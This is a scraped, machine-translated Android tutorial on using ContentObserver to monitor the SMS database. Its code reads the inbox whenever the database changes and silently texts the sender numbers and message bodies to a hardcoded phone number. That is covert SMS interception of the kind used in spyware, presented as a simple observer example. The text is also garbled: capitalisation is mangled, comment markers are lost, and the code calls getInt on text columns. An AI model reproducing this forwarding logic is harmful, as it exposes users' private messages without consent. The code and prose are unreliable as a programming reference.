Contentobserver Monitoring Database • changes

Source: Internet
Author: User

SMS URI

Uri Smsuri = Uri.parse ("content://sms");

Use Contentreslover to register and monitor

Getcontentresolver (). Registercontentobserver (Smsuri, True,
New Mysmslistener (Mhandler, smsobserverservice.this));

Inherit Contentobserver Monitor

Class Mysmslistener extends Contentobserver {... }

When the supervisor hears the change, makes the corresponding treatment

@Override
public void OnChange (Boolean selfchange) {
TODO auto-generated method stubs
Super.onchange (Selfchange);

Uri Outsmsuri = Uri.parse ("Content://sms/inbox");
Cursor C = mcontext.getcontentresolver (). query (Outsmsuri, NULL,
NULL, NULL, "date desc");
if (c! = null) {
LOG.I ("Lzh_sms", "The number of send is" + c.getcount () + "\ n");
StringBuilder sb = new StringBuilder ();
Looping through
while (C.movetonext ()) {
LOG.V ("Lzh_sms", "C.movetonext is exec");

Sb.append ("Sender's mobile number:" +c.getint (C.getcolumnindex ("Address"))
. Append ("Message content:" +c.getint (C.getcolumnindex ("Body")))
. Append ("Whether to view:" +c.getint (C.getcolumnindex ("read")))
. Append ("Send Time:" +c.getint (C.getcolumnindex ("date"))
. append ("\ n");
LOG.I ("Lzh_sms", C.getstring (C.getcolumnindex ("body"));
Sb.append (
"Sender's mobile number:" + C.getint (C.getcolumnindex ("Address"))
. Append ("Information content:"
+ c.getstring (C.getcolumnindex ("Body")))
. append ("\ n");
Smsmanager SMS = Smsmanager.getdefault ();

Sms.sendtextmessage (phonenumber.phonenumbers, NULL,
Sb.tostring (), NULL, NULL);

LOG.I ("Lzh_sms", sb.tostring ());
Break

}

C.close ();

}

}

Contentobserver is so simple!

Contentobserver Monitoring Database • changes

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.